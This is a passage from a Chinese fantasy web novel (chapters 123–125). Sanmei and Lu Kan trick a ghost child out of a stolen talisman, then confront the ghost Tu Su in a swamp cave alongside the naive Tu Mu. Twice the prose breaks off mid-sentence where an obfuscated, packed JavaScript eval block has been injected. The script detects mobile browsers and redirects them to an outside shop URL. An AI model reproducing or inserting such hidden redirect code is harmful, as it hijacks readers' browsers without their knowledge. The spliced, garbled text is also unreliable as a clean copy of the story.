裴元脑子怕不是叫雷,给劈坏了吧?喊谁爹娘呢! “你能别瞎掺和吗?” 邢正趁着陆衎还没发火,将裴元拽到了边上,“三枚不是说过了吗?” “这小孩在地府是个当官儿的,别看是小孩儿模样,指不定死了几百几千年了。” 听涂木和那个小鬼头的对话,分明就是有纠纷,那声爹娘,估计是为了狐假虎威。 至于能在地府当官儿的小鬼儿,为什么需要狐假虎威,邢正脑袋一转,看向了涂木。 “这小子,估计是个狠茬。” 知人知面不知心,越是长得平易近人的普通人,往往藏着越大的杀器。 特别是涂木这种,性子看着好像很窝窝囊囊的憨小子。 没见三枚在他靠近的时候,身子瞬间就绷紧了吗? 三枚在小鬼头靠近甚至大吼大叫的时候,本来非常不以为意,然而却在不经意瞥见涂木夹在腋下的雨伞时,瞳孔猛然一颤。 收魂伞! 他不止是来清理门户的,还是来抢涂塑老东西的魂魄! 陆衎察觉到了三枚情绪的微妙变化,青锋剑往上一抬,对着涂木慢声道:“将手里的东西,放下。” 涂木身子一僵,拔伞的手一顿,看着陆衎,不可思议地道:“你们果然是一伙的?” 三枚:“我说涂氏少门主,你能把眼睛挖出来洗清楚了,再装回去好好看看吗?” 她拍拍自己的脸,再指着陆衎道:“看清了没有?” “我俩加起来,估计连这小鬼头在地府年限的零头都没有,谁给谁当爹娘呀?!!” “可是、可是它喊你们——” “可是什么可是!!你都被骗一次了,还能蠢到被骗第二次?” 三枚拍案而起:“鬼话也能信?我真是服了!” 涂木被三枚呛得哑口无言,他看着一脸洋洋得意的小鬼头,脑袋有些发懵。 从三枚的话和态度,分明没有维护那个小鬼头的意思,怎么、怎么那小鬼头却嘚瑟地朝自己挤眉弄眼呢? 滑头鬼,分不清好赖话? 那不傻的吗?! 意识到自己可能被个傻鬼骗了,甚至刚才还差点被骗第二次,涂木心里就有点烦躁。 “我、我被骗了!”他抱着脑袋,蹲到了地上。 “它骗了我的黄符纸。” 三枚没想到自己三言两语,真就将涂木说破防了,甚至还自爆了被骗。 难道海门放弃了一贯的腹黑作风,真选了个身心灵都很晶莹剔透的白莲花当家主? 那些黑心烂肝的周扒皮,能同意? 三枚定定地凝视了一会儿涂木,才问:“什么黄符纸?” 123. 第 123 章 涂木眼眶微红,声音哽咽:“我给亡灵作的保证书,能免费找我师兄当引路师。” “你给这小鬼引路,让它投胎轮回?”三枚不可思议地问。 涂木点头:“我观它魂体高德,福泽深厚,又即将进入轮回,以为它是迷失了方向的孤魂,要找我问路,但我又有要事在身,于是、于是给了黄符纸。” 三枚:“它一地府当官儿的大人,用得着你指引轮回路吗?” 涂木一噎,百口莫辩:“我、我当时不知道啊,这、这不是才发现被骗了吗......” “我可没骗你!”小鬼头躲在三枚身后许久,终于再次开口。 它看着三枚道:“是他自己往我手里塞的黄符纸,真真确确,比珍珠还真!” 涂木:“你当时喊住我了——” 小鬼头:“我喊了你一声,但我只是好奇,想问问你和涂塑那老东西是什么关系,怎么身上流着一样的血。” “但你根本没给我机会问呀。”小鬼头脸不红气不喘,特别无辜又无奈,“自己噼里啪啦哐哐一顿说,说完还朝我手里塞了这么一张黄符纸,你说我冤不冤啊?” 三枚看它:“他给你,你就要啊?” 小鬼头眼珠子滴溜一转,声音有些发虚:“那不是、不要白不要吗?” “把东西还回去。”陆衎放下手中的剑,斜睨了眼小鬼头。 “不行!” 小鬼头连忙护住自己的冲天辫,“哪有给人的东西,还要回去的,寒碜不寒碜?” “我觉得人向你讨,你还当宝贝似的死护着不放,更没骨气一点。”三枚悠悠地道。 “这黄符纸可是——”小鬼头差点说漏嘴,连忙抿紧嘴巴。 三枚眼睛微眯:“可是什么?” 小鬼头连连头,“没什么。” “唉,算了吧。”涂木从地上站了起来。 “它说的也没错,是我自己会错了意,给出去的东西,哪能还要回来呢?罢了罢了,反正得水师兄总是神出鬼没,一般二般的灵怪,也难寻他的踪影。” “你说师兄,是涂得水?” 三枚激动地道:“你让涂得水给这小鬼头作引路师?!” 涂木没想到三枚这么激动,愣愣地点头:“对、对呀......” “对你的大头鬼!” 三枚这下是真确定了,涂木这家伙是真的单纯,不,是单蠢! 让涂得水给这小鬼头引路轮回,自己和陆衎怕不是真要被缠上!除非他们成婚后,一辈子不要孩子。 怪不得这小鬼,回来后再喊自己和陆衎爹娘时,底气那么地足,偶尔还捂着嘴嘻嘻笑,像个偷了油的小老鼠! 不行!不能被这小鬼头缠上! 三枚给陆衎使了个眼色:“抓住它!” 陆衎虽然不明所以,但还是点了点头。 他思考了一瞬,忽而指着小鬼头的脚边道:“快看!有虫子在咬你!” “啊啊啊!!!” 小鬼头听见虫子两个字,吓得立马跳了起来,飞扑到了陆衎的怀里。 “在哪里在哪里??爹爹,快帮我赶走,快赶走!!” 陆衎这次没有冷漠地无视它,反而将它抱在了怀里。 三枚眼疾手快,伸手立马握住小鬼头的冲天辫,从下往上一撸,几乎是眨眼的瞬间,就将它藏在辫子里的黄符纸,给撸了出来。 看都不看一眼,三枚转头对着打盹的小八耳一喝:“八耳,张嘴!” 小八耳眼睛都没睁开,听见声音,尖锐的小嘴就是一张,咬住黄符纸的瞬间,立马闭嘴,顺便一咽,“咕噜”一声,就吞进了肚子里。 “啊啊啊啊!!!!” 三枚和八耳那么一套丝滑的连环招,小鬼头都看懵了。 大脑反应了一会儿,它才意识到自己被陆衎和三枚联手坑了,气得它嗷嗷直叫。 小鬼头像个孩子一样,从陆衎的怀里,哧溜一下滑到了地上,开始撒泼打滚了起来。 “啊啊,我的黄符纸,啊啊啊你们还我的黄符纸!!!啊啊啊啊!!!” “你们凭什么抢我东西!!你们赔我!!啊啊啊......” ...... 裴元和邢正面面相觑,都惊呆了。 “这小鬼,真的在地府当官儿的吗?怎么跟人类的小孩儿,差不多呀?” 三枚捂着耳朵,特别淡定地道:“别闹了啊,再闹就不好看了啊。” “我还没跟你算账,你还敢闹!你都把主意都打我脸上了,我还不能摔了你那小算盘啊?” “一张黄符纸而已,你要多少,我给你画。”三枚最后,还是哄了一句。 “你画的,跟涂得水给的能一样吗?”小鬼头大吼道,不依不饶:“你们赔我!!” “脸那么大,我还没付出行动呢,你们就以为我真要你们给我当父母啦?” 小鬼头恼羞成怒,开始胡言乱语:“我就开玩笑喊了你们几次爹娘,你们还真当上了独断专行、蛮横霸道的强势父母啦?敢做我的主,抢我东西?” “你们快让这小野鸡,给我把黄符纸吐出来,不然,我要你们所有人好看!!” 三枚眼神一凛,瞬间迸射出两道寒光:“你倒是说说,要我们怎么好看?” 裴元捂着嘴巴,悄悄在邢正耳边道:“三枚这一瞪眼,还真有那严母的范儿。” 邢正睨了他一眼:“你少说两句吧。” 事情发展得越来越失控,三枚和小鬼头之间的气氛有些剑拔弩张。 空气中,好似弥漫着淡淡的硝烟味。 这个时候,陆衎突然站到了两人的中间。 他看着怒发冲冠的三枚,转头又看向一脸倔强的小鬼头,轻声道:“你俩怒目相视,应该都能在对方的眼中,看见自己此刻的模样吧?” 三枚和小鬼头一愣,接着不约而同地别过了脸:“哼!” 陆衎先说小鬼头:“我虽然不明白那个黄符纸是什么东西,但我看出来了,你想走捷径。” 小鬼头被他戳中了痛点,嘴硬道:“要你管!” “是,我管不着你。”陆衎点头。 “你!”小鬼头听他这么一说,又气得脸颊鼓鼓,话都说不出来。 陆衎:“但总归相识一场,我想告诉你一句话,天上不会白白掉馅饼。” 他指着涂木:“你觉得他师兄拿到了你给的黄符纸,会不会差人问他一问?” 涂木被点到,立马答道:“师兄谨慎惯了,如你所言,一般都会找我再确认一遍。” 若是发现了我又犯迷糊了,随随便便就把黄符纸给出去,事后可能还会逮着我暴揍一顿。 “你听见了?” 陆衎看着小鬼头:“你说他若是实话实说,他师兄还会如你所愿吗?” 小鬼头:“哼!” 它表面气呼呼,心里其实差不多已经被陆衎说服了。 “若是碰巧那位师兄,还是个护短的,得知自己的师弟在你这头吃了一瘪,你猜,他会不会为出一口气,从而暗中做下手脚?” 涂木刚想开口说自己师兄不是那样的人,被陆衎轻轻扫了一眼,立马闭紧嘴巴。 “防人之心不可无,有心栽花花不开,万事万法,靠山靠人,不如靠自己。” 陆衎轻笑一声:“你就不想看看,不用旁门左道,我们是否真的有缘,能够再次相遇?” “哇哇哇!!!” 裴元用力拧着邢正的胳膊,“我没看错吧?这还是我们认识的陆在野吗?” “为了哄小孩,竟然这般长篇大论,这是为了以后家庭爆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027836|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发矛盾了,提前预演一下安抚熊孩子的慈父?” 邢正难得没有反驳,甚至觉得裴元言之十分有理。 陆衎耳聪目明,将小鬼头说得一愣一愣之后,他慢慢地走向了三枚,经过裴元和邢正的时候,特别“和善”地瞥了他们一眼。 裴元和邢正,几乎是条件反射,俱都转开了头,严重拒绝与陆衎对上眼神。 “三枚。”陆衎将三枚拉到一边,在她的耳边压低声音道:“来了。” 三枚点头,接着一把推开陆衎,捂着耳朵摇头晃脑尖叫道:“我不听我不听我不听!!!” 她像被陆衎的耳语刺激到了一样,一边尖叫摇头,一边往外奔跑。 在场所有人都看傻了。 裴元:“陆在野,你对小三枚说什么了,她反应这般大?” 陆衎被问得脸一僵,神色有些不自然。 邢正急得一跺脚,“追啊,你倒是快追啊!荒郊野外的,万一三枚遇到危险了咋办?快追去呀!!” 陆衎瞥了眼吓傻了涂木,又斜睨了下张大嘴巴的小鬼头,接着才转身去追三枚,还顺手将打盹的小八耳也给抱走了。 张大嘴巴的小鬼头,眼睛飞快地眨啊眨,显然也听见了陆衎与三枚的耳语。 大脑飞快地思考了一瞬,它跺跺脚,一咬牙便飞了起来,去追陆衎去了。 三枚随身的锁魂箱,却被孤零零地扔在地上。 几乎在陆衎和小鬼头身影消失的下一瞬,空气猛然刮起一股飓风。 飓风越刮越猛烈,瞬间就形成了龙卷风。 龙卷风势如破竹,所过之地,一片狼藉。 它大声呼啸着,带着毁天灭地的气势,朝涂木所在的位置,疯狂袭去。 涂木不动如山,懵懂而青涩的面庞,瞬间绷得紧紧。 他神情严肃,迈开双腿,打了个扎实的马步,接着缓缓拔出腋下的收魂伞,准备正面对决。 那龙卷风却像是个有眼力见的,觑见他拔伞的动作后,好似颤动了一瞬,立马便转换了方向,对着裴元袭去。 眼见那龙卷风朝自己的方向呼啸而来,裴元瞪大了眼睛,心里万马奔腾:它这是把本世子,当作软柿子啦? 裴元绝对不允许自己被这般侮辱,抽出已经破破烂烂的折扇,撸着袖子,好似要叫那欺软怕硬的龙卷风,好好尝尝他都城第一霸的厉害手段。 邢正在龙卷风出现的时候,拔腿便跑,此刻见裴元这个大傻子,突然犯起了浑,气得大吼一声:“裴子钰,小心!” 说完健步如飞地冲向裴元,咬牙将人撞飞,自己也跟着滚下了滑坡。 就在两人滚落滑坡的瞬间,裴元方才所站之地,发出了一声爆炸般的震响,地面寸草无存,形成了一个巨大的深坑。 裴元和邢正见状,心里十分后怕,起身后立刻又往边上飞身一跃,再次躲过了龙卷风的袭击。 龙卷风呼啸席卷,所过之处,破烂不堪,全是残痕乱迹。 好在它并不恋战,袭击屡次失败后,又转换了目标。将地上的锁魂箱轻松一卷,呼哧一瞬后,龙卷风便消失不见了。 周围蓦然恢复平静,裴元从巨石后头走了出来,发现不仅地上的锁魂箱不见了,那个叫作涂木的小哭包也跟着不见了。 “不好了!”裴元转头对着邢正道。 邢正站起身,环顾四周,之前他们所在的位置,被龙卷风破坏得惨不忍睹。 他正想开口说点什么,就见陆衎抱着小八耳,从密林里快速的朝他们疾驰而来。 裴元也看见了陆衎,开口便道:“陆在野,小三枚的锁魂箱,和那个叫做的涂木的小子,都被龙卷风刮走了!” 陆衎闻言,眉头一皱,转头又看向身后的密林,神色不明。 他声音沉沉,道:“下山再说。” 124. 第 124 章 三枚和陆衎联手上演了一场调虎离山计,目的便是为了引出涂塑那个老鬼头。 中途感受到空气里的波动,是锁魂箱给三枚的信号,三枚便与陆衎分手了。 兵分两路。 陆衎带着小八耳,拿下黑山寨三姓一伙,而三枚,则带着小鬼头,追捕涂塑老鬼头的踪迹,等摸清她的老巢后,再出手一网打尽。 然而,看着眼前有些熟悉的沼泽地,三枚却愣了。 “这儿,不是你们之前,被卷进秘境前的地儿吗?” 她低头,看着小鬼头问道,“你能分辨吗?涂塑的鬼气,是否在附近。” 锁魂箱最后的感应就在这儿,周围阴气森森,三枚却没有感受到鬼气。 可能是狡猾的涂塑隐藏了身上的鬼气,三枚毕竟是个活人,不是很确定自己的辨别是否真确。 小鬼头不一样,刚才它自称地府冥王,虽然自己对鬼话总是抱着半信半疑的态度,但她并没有表露出来。 鬼认鬼,估计跟人看人一样,也有属于他们的一套甄别准则。 三枚虚心求教,瞬间让小鬼头自信爆棚。 只见它昂首挺胸,神色自傲,撅着疯狂上翘的嘴角,慢慢地屈膝,摆了个夸张的金鸡独立的姿势。 小鬼头神色严肃认真,动作却略显滑稽幼稚,三枚憋着笑,看着它开始犹如柳枝随风,身上的鬼影逐渐飘荡不定了起来。 “哈!” 气势如虹地大喝一声,小鬼头瞬间散成了一张巨大的雾网,仿佛遮天蔽地一般,风驰电掣地飞速往上窜飞,眨眼就飞到了天上。 三枚轻轻一挑眉,默默地后退几步,看着小鬼头那张雾网,还在天空中不断张大,接着又以迅雷不及掩耳之势,猛然俯冲了下来,一把就罩在沼泽地上。 安静的等了一会儿,雾网变得服帖平整后,响起了一个虚无缥缈的声音:“上来吧。” “嗯?”三枚一愣,“你说吗?” “这儿除了你,难道还有别人吗?” “好你个小鬼头,陆衎一走,你就原形毕露了是吧?”三枚哼了一声,慢慢地朝雾网靠近。 她抬脚,试探地踩了踩,脚下微软,察觉并无危险,她才跳了上去。 “涂塑在沼泽地下面吗?”三枚轻声问道。 小鬼头:“在下面。” “那你......抓不了啊?” “啧,按照计划来。” 三枚还没反应过来,就被雾网的一角包住,被带着原地转了一圈后,猛然向下坠落,速度飞快,失重感让她大惊失色。 “啊啊啊!!!” 小鬼头语气难得有些嫌弃:“别叫了,我护着你呢。” 三枚闻言,发现自己好似已经稳稳的站在地上,低头一看,不止脚下,她浑身上下都被那雾网包得严严实实。 “咳咳。”她连咳了好几声,才强装镇定道:“哼,我是为了配合你才大叫的,可不是因为害怕。” 小鬼头:......我就安静不说话,看你尴尬不尴尬。 两人小吵小闹,眨眼就来到了沼泽地的尽头。 “不是沼泽地?” 三枚看着四周,没有泥炭没有积水,空空荡荡,更像是个地下洞室。 小鬼头将三枚安稳地放到地上,变换出一个薄透的虚影。 “这并不重要,重要的是,你看那边那个东西,是不是你的锁魂箱?” 三枚顺着小鬼的手指看去,在角落里找到了自己的锁魂箱。 “是我的箱子,但是木青梅和马大王一家的魂魄,已经不见了。” 难不成已经被涂塑得手了? “它们在我这里。” 三枚的身后,突然传来一个声音,转身看去,就见洞室的另一头,走出来了一个泥人。 泥人涂木,用力地抹了把脸,憨憨一笑,露出自己的一口大白牙:“是我,涂木。” 三枚嘴角一抽:...... 涂木打完招呼后,举起了自己的收魂伞。 “龙卷风形成的时候,我见你的锁魂箱里,突然冒出好几个鬼魂,以防万一,我便将它们都收到了我的伞里了。” 三枚站起身,瞥了涂木一眼,问:“涂塑呢?” 涂木摇了摇头:“他卷走你的锁魂箱后就跑了,我跟着跳进这个洞室后,地上只有这个木箱子,不见他的影踪。” “你跟着跳进这个洞室?”三枚一字一顿,毫不掩饰自己的震惊。 沼泽地啊,你有事是真跳啊?也不怕陷进去了出不来啊? 还有,三枚视线在涂木的身上来回看了好一会儿,心里不由猜测道:“难不成是因为木克土?所以这小子天生不怕?所以沼泽地也能毫不犹豫地跳?” 疯子吧! 搞得三枚没来由地觉得,自己走江湖时是不是太谨小慎微了,身上没了年轻人独有的无畏和勇敢了? 涂木明亮的大眼睛眨了眨,走到三枚身前挥了挥手:“山门家主,你怎么了?” 三枚后退一步,回过神后摇了摇头:“没事。” “哦。”涂木挠挠头,看着洞口的方向:“其实,我是感应到了,这沼泽地下散发着我们涂家人的气息,脑袋一热,就、就......” 原来是因为太莽太冲动了啊,还以为真是初生牛犊不怕虎呢! “你说的涂家人的气息,应该是指的活人吧?” 不然连自己都没能感应到涂塑的鬼气,这个涂木若是能做到,三枚可就要陷入对自己能力的自我怀疑了啊。 “对,你等等,我把人拖出来。” 涂木说完,转身哒哒哒跑到了洞口那边,弯下腰一手拖了一个人出来。 “呵,原来是涂远东和涂达西这两只耗子啊。” 看着死尸一样被拖着身子的两兄弟,三枚的眼神瞬间变得冷厉了起来。 几日前被暗算的仇,历历在目,袖中的手紧握成拳,她咬着牙,看着被拖到眼前的两个人,冷声道:“死了吗?” 涂木摇头:“没,让我给打晕了。” 三枚点头:“我跟这俩,不管公私,都结下了那么一点的仇。” 她说着,朝涂木抬了下眉,“这两人先交给我,等事后我算完账,再还给你清理门户去。” 涂木低头看了那两兄弟一眼,抬头时憨憨点头:“哦。” 他甚至都不过问一句,三枚和这两人有什么仇什么怨。 这小子,还挺上道。 三枚心里满意了,看那涂木也顺眼了不少,转头看着小鬼头道:“你先帮我把他们给送到陆衎那儿去。” 小鬼头的虚影,假装不经意地瞥了涂木一眼,接着又化作了一张雾网,将昏迷不醒的涂家两兄弟裹住,哗啦卷起一阵风,瞬间消失在了洞室。 “走吧。” 三枚看着瞪大双眼的涂木,下巴朝洞口的方向抬了抬。 “你想跟我说什么?” “额......”涂木没想到,自己的小心思一下子就被三枚给看穿了,脸色瞬间涨得通红,不好意思地一直挠着头。 “再挠可就秃了了。”三枚率先朝洞口的方向走去。 涂木连忙追在她的身后,支支吾吾道:“我、我就是想跟你商量一下,涂塑抓到之后,能不能让我先带回去门里做个交代,然后才......” 三枚:“这我可管不着。” “那小鬼头就是从地府里出来抓涂塑的,你得跟它商量着去。” 涂木:“我、我不是,不是看你跟它,还挺熟稔的吗?” 都喊你娘了,必定是对三枚很满意,才会在转世前先将人给定了。 三枚:“做人做事,可不能只看表象。” “你要透过表象,达到思维的进阶,看到事物的本质。”她转头,豪气冲天地甩了下袖子,意味深长地道:“懂了吗?” 涂木疯狂摇头:“听不懂。” “听不懂,就好好想想,仔细想想,想不通就多看看书,答案啊,就藏在书里呢。” 书? 什么书? “可我不爱读书啊,一读书就脑门疼,这可如何是好?” 涂木跟在三枚的身后,嘟嘟哝哝地抱怨道。 三枚余光瞥他,见人被自己说得一脸蒙圈,头都大了一圈的模样,抿着嘴偷笑了一声:“是疯子,也是个傻子。” 海门涂家选的这个继任门主,有那么点意思,以后估计有得闹腾了。 —— “涂塑的鬼气,就是在这里彻底消失的。” 三枚和涂木,一直走到了洞口的尽头,前方除了万丈深渊之外,寸草不生。 涂木:“涂远东和涂达西,当时就躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036866|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这儿。” 三枚点头,探出脑袋,看着深不见底乌黑一片的悬崖,低声道:“涂塑这个老家伙,到底藏哪儿去了?” 涂木:“我想,应该就在万丈深渊之下吧?” 三枚并未反驳他的观点,但也没有附和,只仔细观察着周围流动的空气。 “你有听见什么声音吗?”她突然问道。 涂木梗着脖子,侧耳静听了一会儿,摇头:“没有。” 没有吗? “算了,你把你的收魂伞打开,将木青梅的魂魄,放出来吧。” 涂木身子一僵,握着收魂伞的手瞬间加大力道,犹犹豫豫地道:“这......如果把它们放出来,涂塑突然出现了怎么办?” 三枚看傻子一样看着他:“你觉得我让你开伞,又是为了什么呢?” 涂木睁着无辜的大眼睛:“啊?哦,你要拿它们,引蛇出洞啊?” “我的天呀!”三枚无语地拍了下额头。 这个时候,她心里突然疯狂地想念陆衎。 两个人这么一对比,呸!根本没有对比性! 涂木这个家伙,简直蠢钝如猪!甚至比猪还不如! “你!闭嘴!”三枚咬着牙,一字一顿地道:“现在,打开伞!多废一句话,我大耳刮子,抽死你!” 涂木被三枚脸上的狰狞表情,和眸中的凶狠之色吓得连连后退,嘴巴抿得紧紧的。 他飞快点着头,二话不说,“哗!”的一声,干脆利落地就把手中的伞打开。 收魂伞打开后,瞬间飞出一阵阴风,吹得人浑身鸡皮疙瘩直冒,接着便有几缕白烟徐徐飘出。 然而那白烟飘到一半,忽而一颤,像是受到了什么刺激一样,凭空发出一声凄厉的尖叫,接着又猛然飘回了伞里。 涂木眼睛眨了眨,忍不住出声:“怎么——” 他刚开口,就被三枚拽着衣领,往边上一倒。 “砰!” 一股强势的鬼气,猛然撞到了涂木的收魂伞上。 收魂伞发出一声巨响,刹那飞速膨胀了起来。 “不好,涂塑在强势夺取木青梅的魂魄!” 三枚瞬间从地上腾飞而起,右手翻转,线香突现,左手向下一甩,系在腕上的红绳,连同绳上的三枚五铢钱,瞬间滑落掌心,排排竖立。 握住红绳的瞬间,她的手中迸射出一道耀眼的强光,转瞬即逝。 眨眼的功夫,她左手多了一柄利剑,刺向缠在收魂伞上的鬼魂时,瞬间分裂成数十个箭头,呼啦啦直击鬼气。 “嘭!嘭!嘭!” 箭头威力十足,势不可挡,横扫寰宇,如山的力量,纷纷刺穿鬼气。 刚从脖子里抠出罗盘方印的涂木,盯着三枚手中的利剑,双眼发光。 “不愧是传说中的铢钱之印,威力果然不同凡响!” 只见三枚挥舞着线香,线香绕着利剑飞转了一圈,香灰飞溅到空中。 而被香灰飞溅到的鬼气,瞬间灰飞烟灭。 那鬼气缠着收魂伞,被三枚打得兀自后退,毫无招架之力,还没缓过来气来,就再一次被箭头穿透,接着又被香灰覆没。 三枚步步紧逼,鬼魂节节败退,循环反复无穷已。 然而退至墙角,收魂伞撞到墙上的刹那,好似触动了墙上的机关。 “哗!哗!哗!”墙□□出无数的暗箭。 三枚反应非常灵敏,几乎是听见机关声音的瞬间,立马就抽回收倒退几步,转身便趴到了地上。 “嗒嗒嗒!嗒嗒嗒!嗒嗒嗒......” 暗箭源源不断地从墙内投射出来,射在在地上,瞬间蒸发,留下一个个黑咕隆咚的洞,洞口往上冒着黑色的烟,滋啦作响。 三枚动作敏捷地在地上躲来躲去,一会儿用线香挡箭,一会儿挥舞着利剑,从容淡定,除了衣摆被暗箭险险擦过,稍微有些破损之外,几乎毫发无损。 手上的线香也差不多燃完了,她没有浪费,手指将香灰往空气里一弹,溅到偷摸靠近的鬼气,“滋啦”一声,又烟消云散了。 等到墙里那些暗箭全部发射完后,那柄撞到机关的收魂伞,已经不翼而飞了。 三枚眉头一拧,小心翼翼地从地上坐了起来。 “涂木呢?怎么也不见了影踪?” “在这儿呢?” 125. 第 125 章 头顶传来一声轻呼,三枚抬头,就见涂木像只壁虎一样,紧紧地贴在了墙上。 “你的收魂伞呢?”三枚问。 涂木:“嘘!还在这儿,小心点。” 他手中抓着罗盘方印,看着指针在疯狂转动,根本停不下来的样子,眉头微微一皱。 “那个大鬼,好像想将我的收魂伞吞吃入腹,就在你的周围。”涂木在三枚的身边看了一圈,“我的罗盘显示,这儿机关重重,你小心点,不要误入了陷阱。” 三枚原地站了起来,跺了跺脚,看来她现在的位置,是安全的。 “你能看得到它的移动轨迹吗?”三枚问。 涂木眼睛看着罗盘,半晌过后摇头:“虚无缥缈,十分不稳定,像只无头苍蝇一样四处乱窜。” 三枚左右环视了一圈,缓缓地闭上了眼睛,她沉心静气,感受着空气的流动。 对于涂塑为何没有像她预料中的那样,藏身暗处后强行还魂,反而铤而走险,执着于得到木青梅的魂魄,现在更是徘徊在自己的身侧,迟迟没有离开,对此,三枚心中又有了猜测。 涂塑,可能因为急于求成,而走火入魔、控制不住自己了。 三枚这般想着,蹙着的眉头忽而舒展开来,眼睛猛然睁开,脸上露出了狡黠的笑容。 她抬眼看了涂木一眼,在他目瞪口呆的惊吓下,毫不犹豫地往前大踏一步。 往前走的同时,三枚双手紧握利剑,感受到拂过面上的气流,有轻微的波动时,她立马竖起利剑。 在一股诡异的狂风,忽而猛然从侧面全速袭来的时候,三枚身子迅速往边上轻轻一转,下腰的瞬间,手腕翻转,举着利剑对着头顶的空气猛然刺去。 “噗嗤!” 一声闷响,利剑自上而下,徐徐地流下了鲜活的液体。 不是鲜红血液,而是如墨浓汁。 三枚眉头一拧,眸中划过一抹不悦:这么脏! 腰身往旁边一转,起身的同时,她将利剑用力向下一抽。 “哗啦”一声,墨汁一般的血液,不规则地喷洒在空气中。 仿若被隐身了的收魂伞,也慢慢地凭空再次出现在了人的视线里,与此同时,涂塑也现出了原形。 他一手捂着不断喷涌着浓墨液体的心口,一手紧紧抓着涂木的收魂伞,面色狰狞,凶神恶煞地瞪着三枚,沉声喝道:“丫头,老夫与你无冤无仇,你为何三翻四次,非要与我作对!!!” 三翻四次? 三枚杏眼微眯,眸中划过一道暗芒。 不知为何,她突然就想起了薛婉茹。 当时她带着锁魂箱为薛婉茹寻尸的时候,涂远东和涂达西两兄弟,曾偷偷摸摸想撬开她的木箱子,就为了夺走薛婉茹的断臂。 难不成,薛婉茹亦是这老家伙下手的备选之一? 不对,残缺不全的躯体和魂魄,不可能会是涂塑这老谋深算的狐狸会考虑的对象。 更像是,加起来半瓶醋都不足的两兄弟,因为学艺不精而捅出的大窟窿。 然而不管事实真相如何,都改变不了涂塑是个丧心病狂的魔鬼。 三枚哼了一声,漫不经心地扫了涂塑一眼,慢悠悠地道:“我高兴呗。” “你!” 涂塑大吼一声,双眼迸射出狠厉之色,“那就别怪老夫不留情面!” 三枚嘴角泛着冷笑,“你看我怕吗?” 也不想想,自己胸口那个破洞,是被谁刺穿的,口气这么大,也不怕闪了舌头! “小小狂儿,竟如此嚣张!” 涂塑脸颊抽搐,对着流血的心口哐哐狠拍了几下,滴答流个不停的心口,瞬间止住了。 他脑袋一甩,抖落掉沾染在身上的血迹残痕,瞬间又神气活现了起来,仿佛未曾伤到分毫。 三枚见状,面不改色心不跳,左脚却偷偷地向后挪了一步。 涂塑纵然鬼气磅礴,但并非四肢简单的笨蛋,他见三枚实在太过淡定从容,眼睛转了一圈,提防有诈,小心翼翼地逼近三枚。 “哈!”三枚将他的动作神态看在眼里,忽而大笑一声,掷地有声地道:“涂塑,我还以为你是个天不怕地不怕的无畏狂徒,如今看你这般胆小怕事的模样,实在滑稽可笑!” “就你这样的,能有什么大本事?也就偷偷摸摸躲在暗处,偷鸡摸狗一样地搞搞暗算偷袭了。” 像是要故意激怒涂塑一样,三枚轻狂的样子,仿佛谁都不放在眼里。 她双手叉腰,一边不动声色地慢慢后退,一边指着涂塑骂道:“我站的地儿,可是你自己的地盘。在你的地盘,你难道还怕有什么陷阱不成?哦,我知道了.....” 三枚说着,故意停顿了一下,眼神轻飘飘、自上而下地扫了涂塑一眼,嗤笑一声,才继续道:“难道是我方才那几招,虽然没有将你置于死地,却也把你吓得够呛,你害怕了?” 三枚退到洞口,余光朝下,瞄了一眼万丈深渊,嘴巴猝了毒般:“那你涂塑还真是个怕事的胆小鬼,没种的窝囊废!” 她的话音刚落,涂塑乘风而来,他的身体随风飘荡,陡然化作庞然雾瘴,震得狭窄的通道剧烈晃动,如同即将山崩地裂一般。 “大胆狂儿,口无遮拦,拿命来!” 涂塑怒不可遏,好似丧失了理智,眼睛迸射着惊人的凶煞之气,浑身的鬼气尽数释放,移动的速度如同闪电一般,朝三枚的方向飞扑而来。 三枚已经退无可退,却也不再左右躲闪,屹立在风口,巍然不动。 眨眼的瞬间,涂塑已经欺身而来,与三枚近在咫尺。 涂塑看着异常镇定的三枚,心里甚是惊诧:“难道她又想耍什么花招?那万丈深渊之下,难不成还埋伏着什么巨大阴谋?” “罢了,无论如何,必须得先将这可恶的丫头给除掉,否则难平我心中滔天怒火!” 涂塑不再保留实力,掌心周围覆盖大量鬼气,全力击向三枚。 他拳风呼啸,力破长空,发出爆裂之声,对着三枚的眉心猛然挥去。 三枚眼尾一挑,唇边慢慢浮现出一抹邪笑。 涂塑被那笑看得心头发麻,心里隐隐感到有些不安。 直到身后有一股冷冽劲风袭来,他才恍然大悟,暗道一声不好:还有一个人! 危险,正在朝他急速靠近。 鬼气原位翻转了一圈,涂塑试图控制空气的流动,袭击三枚的掌风强行在中途转换了目标方向。 转身的瞬间,却发现身后空无一物,此时他再想收回手,却是已经来不及了。 凌厉的掌风,磅礴的鬼气,全都朝虚空释放了去,除了空气被震得烈烈炸响,谁都完好无损,包括三枚。 “你耍我!”涂塑转头,见三枚还在原地屹立不动,脸上的表情早已换成了讥笑。 涂塑彻底被激怒,猛扑而至,“啊啊啊,拿命来!!” 三枚一歪头,手指向上一指,嘻嘻笑道:“你看,那是什么?” 怒火攻心的涂塑,急于直取三枚性命,将她的行为当作转移自己注意力的又一个花招,根本不予理会,直到他的眼前忽而一暗。 涂塑抬眼,一块巨石从天而降,就在他的脑袋上方。 本是不以为意,余光却被附着在巨石周围的金光,闪到了眼睛。 他的眼睛猛然一瞪,这时候再要后退,却是来不及了。 